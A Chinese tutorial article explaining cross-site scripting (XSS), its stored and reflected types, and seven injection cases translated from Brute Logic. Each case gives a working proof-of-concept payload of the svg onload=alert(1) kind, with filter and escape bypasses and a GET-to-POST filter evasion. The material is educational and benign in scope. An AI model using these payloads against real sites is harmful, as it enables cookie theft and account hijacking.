关闭

web开发,关于XSS的介绍和案例分析

时间: 2017-12-02阅读: 1944标签: web

XSS简介

XSS攻击的全称Cross Site Scripting(跨站脚本攻击),为了避免和样式表css混淆而简写为XSS。XSS攻击使用web应用,服务器,或者所依赖的插件系统的已知漏洞进行的,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,让用户使用浏览器进行访问时就会受到攻击。


那么受到攻击有什么危害呢?对用户来讲,比较常见的就是受害者网站的cookie、session等敏感数据遭到泄露(这些数据一般保存着用户登陆状态等信息,攻击者拿到这些就可以登陆用户的账号随心所欲的操作);而对于网站来讲,也许会影响用户体验,包括而不限于可能因此遭到DOS攻击等等。危害性不容小觑。


很多网站都爆发过XSS漏洞,其中不乏互联网巨头,比如Twitter,Facebook,YouTube等等,虽然在互联网安全中已经受到了相当的重视,但是大量的XSS漏洞仍在前赴后继。或是缺少经验,或是用户数据并不十分敏感,亦或是互联网风暴席卷而来时疯了一样的迭代速度所限制的安全投入。


XSS的类型

 存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。


7种主要的XSS案例

1. URL 反射 

当源代码中存在URL反射时,我们可以添加自己的XSS向量和载荷。对于php的页面,可以通过使用斜杠”/”在页面的名称后添加任何内容。 

http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>

需要用开头的(“>)标签来破坏当前标签的闭合状态,为将插入的新标签(触发XSS的代码标签)创造可能的闭合条件。  

<!—URL Reflection -->
<form action=”/xss.php/”><svg onload=alert(1)>” method=”POST”>
<br>

虽然不同语言的差异造成的不同的触发原因(反射可能出现在路径或URL参数中)。相对于PHP而言,罪魁祸首通常是在提交表单的动作中使用到了全局变量。 

$_SERVER[“PHP_SELF”]


2.简单的htmli(html注入)

最直接的一种方式,输入就是反射,输入部分显示在已存在的标签之前、后或标签之间。不需要绕过或破坏任何闭合,任何简单的像<tag handler=jsCode>形式的XSS向量都可以实现。

http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>
<h1>XSS Test</h1>
<!-- Simple HTMLi -->
Hello, <svg onload=alert(1)>!
<br>


3.Inline HTMLi

和上一个相比这个实例也相对简单,但是需要 "> 破坏前面的闭合标签,重新添加并创建新的标签闭合。  

<!-- Inline HTMLi (Double Quotes) -->
<input type="text" name="b1" value=""><svg onload=alert(1)>">
<br>
<br>


4.Inline HTMLi: No Tag Breaking

 当在HTML属性中输入并且对大于号(>)进行过滤时,像之前的实例一样破坏前面的闭合标签达到反射是不可能了。

<!-- Inline HTMLi - No Tag Breaking (Double Quotes) -->
<input type="text" name="b3" value="">><svg onload=alert(1)>">
<br>
<br>

所以这里使用一个适合我们在此处注入的,并可在标签内触发的事件处理程序,比如:  

http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//

这个方式闭合了标签中value值的引号,并且给onmouseover插入了事件。alert(1)之后的双引号通过双斜杠注释掉,当受害者的鼠标移动到输入框时触发js弹窗。 


5.HTMLi in Js(JavaScript) Block

输入有时候会传入到JavaScript代码块中,这些输入通常是代码中的一些变量的值。但因为HTML标签在浏览器的解析中有优先级,所以我们可以通过js标签闭合原有的js代码块并插入一个新的标签插入传入你需要的js代码。 

http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>
// HTMLi in Js Block (Single Quotes)
var myvar1 = '</script><svg onload=alert(1)>';


6.Simple Js Injection

如果脚本的标签被某种方式过滤掉了,之前讨论的姿势也随之失效。 

// Simple Js Injection (Single Quotes)
var myVar3 = '><svg onload=alert(1)>';

这里的绕过方法可以根据语法注入javascript代码。一个已知的方法是用我们想要执行的代码”连接”到可触发漏洞的变量。因为我们不能让任何单引号引起报错,所以先构造闭合,然后使用”-”连接来获得一个有效的javascript代码。 

http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘
// Simple Js Injection (Single Quotes)
var myVar3 = ''-alert(1)-'';


 7.Escaped Js Injection

在之前的实例中,如果引号(用于置空闭合变量的值)被反斜杠(\)转义,注入将不会生效(因为无效的语法)。 

// Escaped Js Injection (Single Quotes)
var myVar5 = '\'-alert(1)-\'';

为此,我们可以通过骚姿势——转义。我们可以插入一个前反斜杠,这样后面的引号将会完成闭合,从而触发传入的js代码。在插入我们想要执行的js代码后,需要对其余部分进行注释,因为剩余的部分已经无需执行或重复执行。  

http://brutelogic.com.br/xss.php?c5=\'-alert(1)//
// Escaped Js Injection (Single Quotes)
var myVar5 = '\\'-alert(1)-//';


扩展一点点 

直接通过URL通过GET请求触发XSS返回404,通过参数直接访问可以显示正常界面,那么应该是被过滤了。先自己用xsstrike跑了一下,提示是存在XSS的,但是打开浏览器的反应都是返回了空白页面,说明是多次的误报(xsstrike不是基于webkit,因此容易产生误报)。

而后查看源码,在页面可以看到前端通过正则过滤了特殊字符,重定向到404页面。过滤的很全乎,那看起来好像是没戏了,遂去请教大神,所以姿势就涨起来了。这里的原因是因为后端PHP在处理请求的时候使用的是$_REQUEST方法,因此可接受POST和GET请求。So,成功弹窗。 

 

案例来源:https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/

 

站长推荐

1.云服务推荐: 国内主流云服务商,各类云产品的最新活动,优惠券领取。地址:阿里云腾讯云华为云

链接: http://www.fly63.com/article/detial/210

Web前端知识体系精简

Web前端技术由 html、css 和 javascript 三大部分构成,是一个庞大而复杂的技术体系,其复杂程度不低于任何一门后端语言。而我们在学习它的时候往往是先从某一个点切入,然后不断地接触和学习新的知识点,因此对于初学者很难理清楚整个体系的脉络结构。

原生js判断用户是否操作了web页面

用户是否操作了web页面,我们可以在一定时间内根据用户是否触发了某些事件进行判断。比如用户是否点击,是否按键,是否移动了鼠标等

Web集群之全网备份脚本

实现指定目录或文件定时打包到本地的/backup目录以本机IP命名的目录下,并且对打包的文件做md5哈希,然后将哈希的结果写入到当前目录下md5.log文件中,然后将打包的文件推送到backup服务端;还得将7天前的备份文件给删除,每一步的操作都写入到日志中

web开发-前后端分离原理

前后端分离已成为互联网项目开发的业界标准使用方式,通过Nginx+Tomcat的方式(也可以中间加一个Node.js)有效的进行解耦,并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务(多种客户端,例如:浏览器,车载终端,安卓,IOS等等)打下坚实的基础

web前端开发入门_ web前端需要掌握的知识体系

web前端开发入门的知识体系包括哪些东西呢?大致分为:基本工具使用、比如Git/GitHub,编辑器,调试工具等;静态页面功底;JS与JQuery功底;JS进阶,在无人指导的情况下,看书是一种学习途径。比如《JS高级程序设计》《权威指南》是前端开发者必看书籍。

web名词解释

HTML:超文本标记语言,标准通用标记语言下的一个应用。JavaScript:一种直译式脚本语言,其主要作用是在不与服务器交互的情况下修改 HTML 页面内容, 为网页添加各式各样的动态功能

开发者吐槽:谷歌引入 Web 新标准的方式过于专横

我和我在微软的同事们认为世界需要更多的 Clippy——也就是这个可爱的动画回形针。为此,我们在 Edge 6.0 中引入了一项新功能。Web 开发者现在可以使用 <clippy> 来调用一个动画虚拟助手了。

如何提升学习Web前端的效率

当下是个追求效率的社会,对于IT行业而言,尤其如此。如何在短时间内提升学习Web前端的效率,成为很多同学关注的焦点。接下来分享一些快速学习Web前端的方法。

Web服务常用的几种开发方法

Web服务,即通过程序实现网页服务,服务启动后,一般用户可通过访问URL获取到网站提供的网页服务,如网页浏览、留言、商品购买等。开发Web服务的技术有很多,有Java、Python、ASP.NET、脚本语言等

Atag - Web Components 最佳实践

上一次社区中谈论起 Web Components 已经可以追溯到三四年前了,彼时 Web Components 仍处于不稳定的草案阶段,Polymer 的出世使大家似乎看到了新一代的前端技术,但直到今天,在今年五月 Google I/O 发布 Polymer 3 之后

点击更多...

内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权或违规,请与小编联系!情况属实本人将予以删除!